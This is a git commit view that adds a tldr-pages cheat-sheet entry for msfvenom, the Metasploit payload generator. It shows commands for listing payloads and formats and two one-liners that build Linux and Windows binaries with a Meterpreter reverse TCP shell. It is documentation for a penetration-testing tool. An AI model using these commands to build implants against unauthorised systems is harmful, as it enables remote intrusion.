mirror of
https://github.com/tldr-pages/tldr.git
synced 2025-06-05 12:45:59 +02:00
msfvenom: add page (#3476)
This commit is contained in:
parent
75d109448a
commit
37ffdcb0a7
1 changed files with 24 additions and 0 deletions
24
pages/common/msfvenom.md
Normal file
24
pages/common/msfvenom.md
Normal file
|
@ -0,0 +1,24 @@
|
|||
# msfvenom
|
||||
|
||||
> Manually generate payloads for metasploit.
|
||||
> More information: <https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom>.
|
||||
|
||||
- List payloads:
|
||||
|
||||
`msfvenom -l payloads`
|
||||
|
||||
- List formats:
|
||||
|
||||
`msfvenom -l formats`
|
||||
|
||||
- Show payload options:
|
||||
|
||||
`msfvenom -p {{payload}} --list-options`
|
||||
|
||||
- Create an ELF binary with a reverse TCP handler:
|
||||
|
||||
`msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f elf > {{path/to/binary}}`
|
||||
|
||||
- Create an EXE binary with a reverse TCP handler:
|
||||
|
||||
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f exe > {{path/to/binary.exe}}`
|
Loading…
Add table
Reference in a new issue